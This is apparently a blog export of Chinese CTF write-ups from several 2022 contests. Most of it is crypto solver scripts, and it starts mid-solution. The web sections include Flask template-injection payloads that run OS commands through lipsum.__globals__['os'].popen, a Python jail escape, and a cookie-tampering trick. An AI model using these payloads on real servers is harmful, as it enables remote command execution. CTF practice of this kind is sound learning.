56224*x^136 + 41870*x^135 + 63961*x^134 + 47574*x^133 + 63954*x^132 + 9668*x^131 + 62360*x^130 + 15244*x^129 + 20599*x^128 + 28704*x^127 + 26857*x^126 + 34885*x^125 + 33107*x^124 + 17693*x^123 + 52753*x^122 + 60744*x^121 + 21305*x^120 + 63785*x^119 + 54400*x^118 + 17812*x^117 + 64549*x^116 + 20035*x^115 + 37567*x^114 + 38607*x^113 + 32783*x^112 + 24385*x^111 + 5387*x^110 + 5134*x^109 + 45893*x^108 + 58307*x^107 + 33821*x^106 + 54902*x^105 + 14236*x^104 + 58044*x^103 + 41257*x^102 + 46881*x^101 + 42834*x^100 + 1693*x^99 + 46058*x^98 + 15636*x^97 + 27111*x^96 + 3158*x^95 + 41012*x^94 + 26028*x^93 + 3576*x^92 + 37958*x^91 + 33273*x^90 + 60228*x^89 + 41229*x^88 + 11232*x^87 + 12635*x^86 + 17942*x^85 + 4*x^84 + 25397*x^83 + 63526*x^82 + 54872*x^81 + 40318*x^80 + 37498*x^79 + 52182*x^78 + 48817*x^77 + 10763*x^76 + 46542*x^75 + 36060*x^74 + 49972*x^73 + 63603*x^72 + 46506*x^71 + 44788*x^70 + 44905*x^69 + 46112*x^68 + 5297*x^67 + 26440*x^66 + 28470*x^65 + 15525*x^64 + 11566*x^63 + 15781*x^62 + 36098*x^61 + 44402*x^60 + 55331*x^59 + 61583*x^58 + 16406*x^57 + 59089*x^56 + 53161*x^55 + 43695*x^54 + 49580*x^53 + 62685*x^52 + 31447*x^51 + 26755*x^50 + 14810*x^49 + 3281*x^48 + 27371*x^47 + 53392*x^46 + 2648*x^45 + 10095*x^44 + 25977*x^43 + 22912*x^42 + 41278*x^41 + 33236*x^40 + 57792*x^39 + 7169*x^38 + 29250*x^37 + 16906*x^36 + 4436*x^35 + 2729*x^34 + 29736*x^33 + 19383*x^32 + 11921*x^31 + 26075*x^30 + 54616*x^29 + 739*x^28 + 38509*x^27 + 19118*x^26 + 20062*x^25 + 21280*x^24 + 12594*x^23 + 14974*x^22 + 27795*x^21 + 54107*x^20 + 1890*x^19 + 13410*x^18 + 5381*x^17 + 19500*x^16 + 47481*x^15 + 58488*x^14 + 26433*x^13 + 37803*x^12 + 60232*x^11 + 34772*x^10 + 1505*x^9 + 63760*x^8 + 20890*x^7 + 41533*x^6 + 16130*x^5 + 29769*x^4 + 49142*x^3 + 64184*x^2 + 55443*x + 45925')p,q = n.factor()p,q = p[0],q[0]print(p)print(q)phi = (64621**p.degree()-1)*(64621**q.degree()-1)e = 65537d = inverse_mod(e,phi)print(d)c = R('19921*x^174 + 49192*x^173 + 18894*x^172 + 61121*x^171 + 50271*x^170 + 11860*x^169 + 53128*x^168 + 38658*x^167 + 14191*x^166 + 9671*x^165 + 40879*x^164 + 15187*x^163 + 33523*x^162 + 62270*x^161 + 64211*x^160 + 54518*x^159 + 50446*x^158 + 2597*x^157 + 32216*x^156 + 10500*x^155 + 63276*x^154 + 27916*x^153 + 55316*x^152 + 30898*x^151 + 43706*x^150 + 5734*x^149 + 35616*x^148 + 14288*x^147 + 18282*x^146 + 22788*x^145 + 48188*x^144 + 34176*x^143 + 55952*x^142 + 9578*x^141 + 9177*x^140 + 22083*x^139 + 14586*x^138 + 9748*x^137 + 21118*x^136 + 155*x^135 + 64224*x^134 + 18193*x^133 + 33732*x^132 + 38135*x^131 + 51992*x^130 + 8203*x^129 + 8538*x^128 + 55203*x^127 + 5003*x^126 + 2009*x^125 + 45023*x^124 + 12311*x^123 + 21428*x^122 + 24110*x^121 + 43537*x^120 + 21885*x^119 + 50212*x^118 + 40445*x^117 + 17768*x^116 + 46616*x^115 + 4771*x^114 + 20903*x^113 + 47764*x^112 + 13056*x^111 + 50837*x^110 + 22313*x^109 + 39698*x^108 + 60377*x^107 + 59357*x^106 + 24051*x^105 + 5888*x^104 + 29414*x^103 + 31726*x^102 + 4906*x^101 + 23968*x^100 + 52360*x^99 + 58063*x^98 + 706*x^97 + 31420*x^96 + 62468*x^95 + 18557*x^94 + 1498*x^93 + 17590*x^92 + 62990*x^91 + 27200*x^90 + 7052*x^89 + 39117*x^88 + 46944*x^87 + 45535*x^86 + 28092*x^85 + 1981*x^84 + 4377*x^83 + 34419*x^82 + 33754*x^81 + 2640*x^80 + 44427*x^79 + 32179*x^78 + 57721*x^77 + 9444*x^76 + 49374*x^75 + 21288*x^74 + 44098*x^73 + 57744*x^72 + 63457*x^71 + 43300*x^70 + 1508*x^69 + 13775*x^68 + 23197*x^67 + 43070*x^66 + 20751*x^65 + 47479*x^64 + 18496*x^63 + 53392*x^62 + 10387*x^61 + 2317*x^60 + 57492*x^59 + 25441*x^58 + 52532*x^57 + 27150*x^56 + 33788*x^55 + 43371*x^54 + 30972*x^53 + 39583*x^52 + 36407*x^51 + 35564*x^50 + 44564*x^49 + 1505*x^48 + 47519*x^47 + 38695*x^46 + 43107*x^45 + 1676*x^44 + 42057*x^43 + 49879*x^42 + 29083*x^41 + 42241*x^40 + 8853*x^39 + 33546*x^38 + 48954*x^37 + 30352*x^36 + 62020*x^35 + 39864*x^34 + 9519*x^33 + 24828*x^32 + 34696*x^31 + 2387*x^30 + 27413*x^29 + 55829*x^28 + 40217*x^27 + 30205*x^26 + 42328*x^25 + 6210*x^24 + 52442*x^23 + 58495*x^22 + 2014*x^21 + 26452*x^20 + 33547*x^19 + 19840*x^18 + 5995*x^17 + 16850*x^16 + 37855*x^15 + 7221*x^14 + 32200*x^13 + 8121*x^12 + 23767*x^11 + 46563*x^10 + 51673*x^9 + 19372*x^8 + 4157*x^7 + 48421*x^6 + 41096*x^5 + 45735*x^4 + 53022*x^3 + 35475*x^2 + 47521*x + 27544')m = pow(c,d,n)print(m)print("".join([str(c) for c in m.list()]))# 88520242910362871448352317137540300262448941340486475602003226117035863930302 另一部分主要是svp问题,首先我们已知: h\\equiv f^{-1}*g_{1}(modp_{1})也就是: f*h \\equiv (modp_{1})我们可以构造一个由下面这个矩阵M中的两个行向量(1,h), (0,p)所张成的lattice: \\begin{pmatrix} 1&h\\\\0&p\\\\ \\end{pmatrix}可以证明向量(f,g1)可以由两组基向量M的某种整系数线性组合(f, -u)来表示,因此向量(f,g1)就在这个lattice上。相对于两个基底向量(1, h), (0, p)来说,向量(f, g1)的长度要小得多得多,所以可以规约,求出f和g1: 12345678910111213def GaussLatticeReduction(v1, v2): while True: if v2.norm() < v1.norm(): v1, v2 = v2, v1 m = round( v1*v2 / v1.norm()^2 ) if m == 0: return (v1, v2) v2 = v2 - m*v1h=88520242910362871448352317137540300262448941340486475602003226117035863930302p=106472061241112922861460644342336453303928202010237284715354717630502168520267v1 = vector(ZZ, [1, h])v2 = vector(ZZ, [0, p])print(GaussLatticeReduction(v1, v2)[0]) 求得g1以后可以还原g,分解对flag加密的rsa的n,最后解密: 12345678910111213141516171819202122from gmpy2 import *from Crypto.Util.number import *h = 88520242910362871448352317137540300262448941340486475602003226117035863930302p1 = 106472061241112922861460644342336453303928202010237284715354717630502168520267c1 = 20920247107738496784071050239422540936224577122721266141057957551603705972966457203177812404896852110975768315464852962210648535130235298413611598658659777108920014929632531307409885868941842921815735008981335582297975794108016151210394446009890312043259167806981442425505200141283138318269058818777636637375101005540308736021976559495266332357714n = 31398174203566229210665534094126601315683074641013205440476552584312112883638278390105806127975406224783128340041129316782549009811196493319665336016690985557862367551545487842904828051293613836275987595871004601968935866634955528775536847402581734910742403788941725304146192149165731194199024154454952157531068881114411265538547462017207361362857f,g1 = (183610829622016944154542682943585488074, 228679177303871981036829786447405151037)for i in range(1,2**20): g = i^g1 q = n//g if g*q == n: print(q)q = 137302287745437841210048169960228468385713294771962040184193847476345777625160375267870201668501051400029025050935236430696922380184245300369661070711315995173977120623620591621664587405983128326834510282043350556688416400426843142968182300454634262900982709191955329829399906351225536027386080596329406517693g = n//qphi = (g-1)*(q-1)d = invert(65537,phi)print(long_to_bytes(pow(c1,d,n)))# b'DASCTF{P01yn0m141RS4_W17h_NTRU}'","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"DASCTF七月赋能赛2022","slug":"buu/DASCTF七月赋能赛2022","permalink":"http://example.com/categories/buu/DASCTF%E4%B8%83%E6%9C%88%E8%B5%8B%E8%83%BD%E8%B5%9B2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"DiceCTF@HOPE2022","slug":"DiceCTF-HOPE2022","date":"2022-07-24T01:13:01.000Z","updated":"2022-07-25T00:42:44.000Z","comments":true,"path":"2022/07/24/DiceCTF-HOPE2022/","link":"","permalink":"http://example.com/2022/07/24/DiceCTF-HOPE2022/","excerpt":"​ qwq…","text":"​ qwq… Websecure-page抓包,把cookie改为admin。 reverser模板注入,但是会把输入的字符串倒序排列再解析,所以我们传payload的倒序字符串即可: 12print("{{lipsum.__globals__['os'].popen('ls').read()}}"[::-1])print("{{lipsum.__globals__['os'].popen('cat f*').read()}}"[::-1]) flag-viewer前端过滤了admin,所以随意输入一个其他用户名再抓包改为admin提交即可。 Miscorphan给了.git文件,但是git log无法查看历史版本,直接去log文件夹里可以看到历史版本号,diff一下就出了flag。 Rev签到,考察选手的逆向思维。 12345678910111213141516171819s = 'hope{'+ '*'*26 + '}'l = list(s)s1 = 'i0_tnl3a0's2 = '{0p0lsl's3 = 'e0y_3l's4 = '_vph_is_t's5 = 'ley0sc_l}'for i in range(5,32,3): l[i] = s1[(i-5)//3]for i in range(4,32,4): l[i] = s2[(i-4)//4]for i in range(3,32,5): l[i] = s3[(i-3)//5]for i in range(6,32,3): l[i] = s4[(i-6)//3]for i in range(7,32,3): l[i] = s5[(i-7)//3]print(''.join(l)) Cryptoobp用前几个字节异或求出key再还原明文: 12345678910import binasciic = 'babda2b7a9bcbda68db38dbebda68dbdb48db9b7aba18dbfb6a2aaa7a3beb1a2bfb7b5a3a7afd8'cc = binascii.unhexlify(c)start = b'hope{'for i in range(5): print(start[i]^cc[i],end=' ')for i in range(len(cc)): print(chr(210^cc[i]),end='') pem会用pem格式解密即可: 123456789from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP# ssl格式加密则用ssl格式去解密cipher_text = open(r"encrypted.bin", "rb").read()ciphertxt = cipher_textkey = RSA.importKey(open(r"privatekey.pem").read())cipher = PKCS1_OAEP.new(key)message = cipher.decrypt(ciphertxt)print(message) kfb密钥是用随机数加密得到的,但密钥和明文异或即是密文,所以可以向服务器发一个全为0的分组,这样加密的结果就是密钥;用密钥解密即可: 12345678910from Crypto.Util.strxor import strxorc=bytes.fromhex('e9bef46282bef742e3ae31956add4d04f2a5ed64928ae54fe3ae2d8f79d77633e48eef6996a2e27fdeee6acf27d54b6ce4e9bc349cb1a414c1da5efd18b62e5c')key=bytes.fromhex('81d18407f9d59120bcdd59fa1fb1295b91c19417e9c58130accd49ea0fa1394b'[:32])print(key)m=b''print(len(key))for i in range(0,len(c),16): m+=strxor(c[i:i+16],key)print(m) DESpicable you先用flag格式还原key的前几个字节,再爆破: 1234567891011121314151617181920212223242526272829303132333435363738394041424344from tqdm import tqdmdef encipher(a,b): c = '' for i, j in zip(a,b): c+=chr(i^j) return cdef rekey(key): k = [] for i,c in enumerate(key): if i == len(key)-1: k .append(c) k.append(c^key[0]) else: k.append(c) k.append(c^key[i+1]) key = ktable='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_}'f=open('des_out.txt','rb')c=f.read()print(len(c))t=b'hope{'# 部分keyfor i in range(5): print(t[i]^c[i])for ii in tqdm(range(256)): for jj in range(256): for kk in range(256): key = [136, 21, 3, 141, 80, ii, jj, kk] i = 0 ct = '' while i < len(c): ct += encipher(c[i:i + len(key)], key) i += len(key) rekey(key) sign=ct[5:40] for ll in range(len(sign)): if sign[ll] not in table: break else: print(ct) reverse-rsa和seetf的有一道题差不多,这里是给了c,自己选择一个满足格式的明文m,以及光滑的p和q(p-h算法),来快速求解e(离散对数),提交给服务器即可通过验证。 123456789101112131415161718192021222324252627282930313233343536from Crypto.Util.number import *# 注意给服务端是小端转字节flag = b'}ghfedcba{epoh'm = bytes_to_long(flag)c = 7146993245951509380139759140890681816862856635262037632915667109712467317954902955151177421740994622238561522690931235839733579166121631742096762557444153806131985279962646477997889661633938981817306610901055296705982494607773446985300816341071922739788638126631520234249358834592814880445497817389957300553660499631838091201561728727996660871094966330045071879490277901216751327226984526095495604592577841120425249633624459211547984305731778854596177467026282357094690700361174790351699376317810120824316300666128090632100150965101285647544696152528364989155735157261219949095760495520390692941417167332814540685297p = 314159265358979300000000000000000010539q = 271828182845904500000000000000000000701n = p*qG =GF(p)g = G(c)h = G(m)k1 = discrete_log(g,h)print(k1)G1 = GF(q)g1 = G1(c)h1 = G1(m)k2 = discrete_log(g1,h1)print(k2)e = crt([k1,k2],[p-1,q-1])print(e)# 本地测试# c = 7146993245951509380139759140890681816862856635262037632915667109712467317954902955151177421740994622238561522690931235839733579166121631742096762557444153806131985279962646477997889661633938981817306610901055296705982494607773446985300816341071922739788638126631520234249358834592814880445497817389957300553660499631838091201561728727996660871094966330045071879490277901216751327226984526095495604592577841120425249633624459211547984305731778854596177467026282357094690700361174790351699376317810120824316300666128090632100150965101285647544696152528364989155735157261219949095760495520390692941417167332814540685297# e = 6512502510386120305172284395400191873576185305514434873168303156181088575639# p = 314159265358979300000000000000000010539# q = 271828182845904500000000000000000000701# n = p*q## phi = (p-1)*(q-1)# d = invert(e,phi)# mm = int(pow(c,d,n))# print(int.to_bytes(mm, 256, 'little'))","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"DiceCTF@HOPE2022","slug":"赛事/DiceCTF-HOPE2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/DiceCTF-HOPE2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}]},{"title":"NepCTF2022","slug":"NepCTF2022","date":"2022-07-20T08:14:11.000Z","updated":"2022-07-27T07:20:26.000Z","comments":true,"path":"2022/07/20/NepCTF2022/","link":"","permalink":"http://example.com/2022/07/20/NepCTF2022/","excerpt":"​ nepnep战队的招新赛,题目出的很用心,师傅们也很可爱(nepnep打钱~);由于是个人赛,各个方向都会点的我最后卷到了rank5,这大概就是全沾菜鸟的优势吧(笑)。​ 记录一下密码方向赛题和比赛中没有做出的misc题目。","text":"​ nepnep战队的招新赛,题目出的很用心,师傅们也很可爱(nepnep打钱~);由于是个人赛,各个方向都会点的我最后卷到了rank5,这大概就是全沾菜鸟的优势吧(笑)。​ 记录一下密码方向赛题和比赛中没有做出的misc题目。 Cryptosignin签到,费马分解n,crt求c,然后解。 12345678910111213141516171819202122232425262728293031323334353637from gmpy2 import *from Crypto.Util.number import *n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791e = 65537def fermat(num): x = iroot(num, 2)[0] if x * x < num: x += 1 # y^2 = x^2 - num while (True): y2 = x * x - num y = iroot(y2, 2)[0] if y * y == y2: break x += 1 result = [int(x + y), int(x - y)] print(result)if __name__ == '__main__': p = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202901 q = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202891 assert p*q == n c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816 c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922 phi = (p-1)*(q-1) d = invert(e,phi) from sympy.ntheory.modular import * l = crt([q, p], [c_mod_p, c_mod_q]) t = int(l[0]) print(long_to_bytes(pow(t,d,n))) # b'NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}' 中学数学推导过程: q=p+p>>500 2^{500}*q=2^{500}*p+ph 2^{500}*n=2^{500}*p^2+ph*p这里ph只是损失了低位,对p的影响非常小,可以近似为p计算,所以整体就看做一元二次方程计算了。 1234567891011121314151617181920from Crypto.Util.number import *import sympyimport gmpy2n = 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507c = 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186e=65537t=gmpy2.iroot(4*2**500*(2**500+1)*n,2)[0]p=t//(2*(2**500+1))print(p)while True: p=sympy.prevprime(p) print(p) if n%p==0: q=n//p phi=(p-1)*(q-1) d=inverse(e,phi) m=pow(c,d,n) print(long_to_bytes(m)) break# b'flag{never_ignore_basic_math}' COA_RSA题目给了格规约方式,需要利用它的格构造方式去猜想e的形式,从而爆破求phi;出题人测试过,发现论文的攻击方式几乎无法成功,所以还是考虑爆破吧。给的hint:由于满足格规约条件,所以A是比较小的,即$A=m^{x-e}modn$比较小,猜想e的结构是这样的,其中k,a,b都不大: e = k*phi//a - b因为这样的结构可以保证A运算以后为: m^{x-k*phi//a+b}(modn)=m^{x+b}(modn)hash师傅提醒了下,这里需要保证k//a*phi是m的阶的倍数,所以尽量要满足k//a大于1;经查阅论文发现paper中的e确实是这个结构,所以直接进行爆破就好,有趣的是还可以用二分法求出k的值: 12345678910111213141516from Crypto.Util.number import *from tqdm import tqdmimport gmpy2N=21584562909016222405243274981318074723609424537864138818516166296882870952596923388616896100179452902343709246295468740335682613555154383977025156631083258377497353559709636001246215851357586251697339782140616762844466658464225538929007012548727508420837702781524936615164070353418037478517089569783507555024418411710631778073941565485748505472232785028182423960096719453903248061164351629862893495202801853287312265865916733075532360012981688805080299664971109817752216823608878051817158172160419426189481753020154076548471877219325637944601624370884640014467928928695819398270014246851395540617763179525187009648347e=3083508987002317486463324997331153531944203505409162688359452328126124421799560484088128014311350414620529892327924105762240373365022054853860736661583322625356764794244233714463745121622512321671048540305802394692066665494889362704143858935532501202976814683074990945023438621916862496931012795683358222146303422749958603642494190335211644060403826011553655733835479351434022282429633638548092493767861402690047591624267078125799219896130381280612151738318061042109602694447606410766564110264194828211637692086652912524063147129310052531789754620749834783108524619617738417203269142329494376062347356009094704271801c=4350922598266339224026193891975078418170168801819772034264767820713898265684630717877568988722980203827973605369872324389093738872638952249759042892387749292013137399168284781320083750172563798340746904451459359268152189983004829803065811628192447436195347501480101582498240174872791092809557067538800318476384792579696811714128502969704568997167132768453189707964546102168532460995624338582249438596921314744866700025932162716723912105789085167524526913197129852605391260182535842364550510703599942313178440055016324692710162447783500265413604087721982116926701740447032328198647967485123967003172122184982695286738for i in tqdm(range(1,30)): for j in range(1,30): for k in range(7,8): # 经测试k很小为 7 phi=(e+k)*j if phi%i==0: phi=phi//i d=gmpy2.invert(e,phi) m=pow(c,d,N) if m.bit_length()<200: print(long_to_bytes(m)) P or Spbox可以对应mod2矩阵,于是计算过程可以归纳为:由于flag格式startwith flag,足够32bit,所以可以用这一明密文对求出$P^6m$后边加的那一部分,再解出flag其余部分即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465Pbox=[[0, 3, 6, 9, 10, 11, 13, 16, 18, 19, 20, 24, 25, 27, 28, 29, 30, 31],[0, 1, 3, 8, 9, 11, 12, 14, 16, 18, 19, 23, 24, 25, 26, 28, 29],[0, 1, 2, 3, 9, 10, 11, 13, 19, 20, 22, 25, 27, 28, 29, 31],[0, 2, 3, 5, 6, 7, 8, 13, 16, 19, 21, 25, 26, 27, 28],[2, 4, 6, 7, 9, 11, 12, 13, 16, 17, 20, 21, 22, 23, 24, 25, 27, 31],[2, 10, 13, 15, 16, 17, 21, 22, 23, 24, 29, 31],[1, 2, 8, 11, 12, 13, 16, 17, 19, 21, 22, 24, 25, 26, 27, 28, 30, 31],[0, 3, 6, 13, 14, 17, 19, 21, 22, 23, 26, 27, 28],[1, 5, 7, 8, 11, 12, 14, 15, 19, 23, 25, 27, 31],[0, 2, 3, 6, 7, 8, 9, 10, 11, 12, 16, 18, 19, 22, 23, 24, 25, 26, 27, 28],[0, 1, 6, 7, 10, 15, 16, 21, 24, 25, 29, 30],[1, 4, 5, 6, 7, 12, 13, 15, 18, 19, 20, 22, 26, 27, 29, 31],[0, 3, 5, 8, 9, 17, 21, 22, 24, 25, 26, 27, 30],[0, 2, 3, 4, 5, 6, 7, 8, 11, 17, 19, 20, 24, 25, 26, 27, 30],[2, 6, 7, 8, 11, 12, 14, 16, 20, 21, 22, 24, 29, 30, 31],[0, 2, 5, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],[0, 1, 2, 3, 4, 5, 8, 10, 11, 12, 13, 16, 17, 18, 20, 21, 22, 23, 25, 26, 28, 29, 30],[3, 5, 6, 8, 10, 13, 14, 17, 19, 20, 21, 22, 24, 26, 27, 29, 30],[1, 3, 6, 12, 14, 15, 16, 17, 18, 21, 24, 25, 26, 27, 28],[0, 1, 2, 3, 5, 6, 7, 8, 9, 12, 13, 19, 20, 23, 26, 29, 30],[3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 20, 21, 22, 25, 26, 27, 28, 29, 30],[0, 1, 2, 4, 6, 7, 9, 10, 11, 13, 15, 16, 18, 19, 20, 21, 25, 31],[0, 2, 7, 10, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 25, 29, 31],[1, 2, 3, 5, 7, 8, 18, 19, 21, 22, 23, 25, 31],[3, 4, 7, 8, 10, 11, 13, 14, 17, 18, 19, 21, 22, 23, 24, 28, 29],[0, 2, 6, 7, 8, 10, 11, 12, 13, 16, 18, 19, 21, 23, 31],[0, 1, 3, 4, 8, 13, 14, 16, 18, 19, 21, 26, 27, 30, 31],[5, 6, 7, 9, 13, 14, 15, 18, 19, 20, 21, 24, 25, 28],[1, 3, 4, 5, 6, 7, 11, 14, 16, 17, 19, 20, 21, 22, 23, 25, 30, 31],[2, 3, 4, 6, 7, 11, 13, 17, 18, 19, 20, 23, 24, 25, 26, 28, 29, 30, 31],[0, 1, 2, 3, 4, 7, 9, 10, 13, 15, 16, 19, 22, 23, 24, 25, 27],[0, 1, 3, 4, 12, 16, 18, 19, 26, 30]]P=[]for i in Pbox: tmp=[] for j in range(32): if j in i: tmp.append(1) else: tmp.append(0) P.append(tmp)P=Matrix(Zmod(2),P)print(P)P=P^6c='0111110000100101000001101011110111101100000010110011101111000101111110111111100100100010001011000101000110110011111101000001001000000101111000001110001111001001100100111000011011101111111101001011100000100100110011111101100111001100111111110001111011101100'v1='01100110011011000110000101100111'v2='01111100001001010000011010111101'tmp1=[int(i) for i in v1]tmp2=[int(i) for i in v2]v1=vector(Zmod(2),tmp1)v2=vector(Zmod(2),tmp2)T=v2-P*v1M=[]for i in range(0,len(c),32): tmp=[] for j in range(32): tmp.append(c[i+j]) v=vector(Zmod(2),tmp) m=list(P^(-1)*(v-T)) for i in range(len(m)): M.append(str(m[i]))print(bytes.fromhex(hex(int(''.join(M),2))[2:]))# b'flag{P_has_no_Semantic_Security}' Misc太忙了,摸了。","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"NepCTF2022","slug":"赛事/NepCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/NepCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"ImaginaryCTF2022","slug":"ImaginaryCTF2022","date":"2022-07-19T03:06:32.000Z","updated":"2022-07-24T01:38:56.000Z","comments":true,"path":"2022/07/19/ImaginaryCTF2022/","link":"","permalink":"http://example.com/2022/07/19/ImaginaryCTF2022/","excerpt":"​ 刚好看到就做了下题,真的感叹国外赛事的高质量,每次都能学点东西。比赛地址:https://2022.imaginaryctf.org/Challenges","text":"​ 刚好看到就做了下题,真的感叹国外赛事的高质量,每次都能学点东西。比赛地址:https://2022.imaginaryctf.org/Challenges Webbutton页面看起来是空白的,审计前端代码,发现有非常多的白色小按钮(所以看不见),在源码搜索ctf可以找到嵌入式js代码,可以发现有几个button对应执行的是motSusfunclion(),所以我们只要去控制台输入此函数就能弹出flag:ictf{y0u_f0und_7h3_f1ag!} rooCookie根据题目描述,出题人把密码藏在了cookie里,审计会看到cookie以及生成cookie的js代码,于是把算法逆一下就可以恢复password,即flag。 1234567function createToken(text) { let encrypted = ""; for (let i = 0; i < text.length; i++) { encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2) } document.cookie = encrypted} 1234567891011cookie = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'print(bin(1337))#可以确定每个字符对应11位01序列的密文print(len(cookie))for i in range(0,627,11): #print(i) s = int(cookie[i:i+11],2) #print(s) m = s - 1337 + 43 # print(m) print(chr(m),end='')# username="roo" & password="ictf{h0p3_7ha7_wa5n7_t00_b4d}" SSTI Golf这种白盒ssti应该算是最简单的,也没什么过滤,基本就只有payload长度限制;首先看一下源码: 123456789101112131415161718#!/usr/bin/env python3from flask import Flask, render_template_string, request, Responseapp = Flask(__name__)@app.route('/')def index(): return Response(open(__file__).read(), mimetype='text/plain')@app.route('/ssti')def ssti(): query = request.args['query'] if 'query' in request.args else '...' if len(query) > 48: return "Too long!" return render_template_string(query)app.run('0.0.0.0', 1337) 试一下模板解析,可以成功:所以接下来尝试执行命令,首先用config看看全局变量,发现有os,那么可以利用lipsum访问os进行命令执行(popen有回显) 1lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} 这是payload:其实这题还有其他利用方法,我们可以用脚本去遍历一下object的子类,利用其他子类的特性进行rce,作为拓展,给出链接:http://www.hackdig.com/06/hack-677892.htmhttps://blog.csdn.net/zbbjya/article/details/124185476 MiscSponsors给了赞助商的主页,访问其中一个,有个视频,视频的结尾处有flag。 pyprisonpython沙盒逃逸,以前经常遇到但不会做,这次的比较简单,学习了一下。首先是给了我们python jail的源码: 123456#!/usr/bin/env python3while True: a = input(">>> ") assert all(n in "()abcdefghijklmnopqrstuvwxyz" for n in a) exec(a) 服务器会过滤除了字母和()之外的所有符号,其余的部分用exec当作命令执行,在操作之前,先了解一下python动态加载模块。逃逸过程分析:1.eval(input())这里绕过了过滤,并且可以把我们输入的字符当作命令执行,这里之所以要加上eval,是因为出题人故意用的exec,它是无回显的,所以我们才需要自己加一层eval(有回显),或者用print(exec())2.—import—(‘os’).system(‘ls’)这里不多说了,动态加载os模块rce两种利用方法: Cryptoemojis序列有两种符号,分别转成0和1,再转成字符串即可:ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43} smoll1234567891011from Crypto.Util.number import *from gmpy2 import *# factor分解np = 1314503602874176261160006408736468830398552989268751172636991566212261500942084902638924872933455766527167138778836649666000256787470232570894174402457567851267n = 13499674168194561466922316170242276798504319181439855249990301432638272860625833163910240845751072537454409673251895471438416265237739552031051231793428184850123919306354002012853393046964765903473183152496753902632017353507140401241943223024609065186313736615344552390240803401818454235028841174032276853980750514304794215328089q = n//pphi = (p-1)*(q-1)e = 65537d = invert(e,phi)c = 12788784649128212003443801911238808677531529190358823987334139319133754409389076097878414688640165839022887582926546173865855012998136944892452542475239921395969959310532820340139252675765294080402729272319702232876148895288145134547288146650876233255475567026292174825779608187676620580631055656699361300542021447857973327523254print(long_to_bytes(pow(c,d,n))) hugen由很多个不大的素数相乘,多因子,高次数n求phi即可。 123456789from Crypto.Util.number import *from gmpy2 import *phi = 521*520 * 540 * 562 * 569*568 * 570 * 577*576 * 587*586 * 598 * 601**2*600 * 606 * 612 * 617**2*616 * 619*618 * 630 * 647**2*646 * 659**2*658 * 660 * 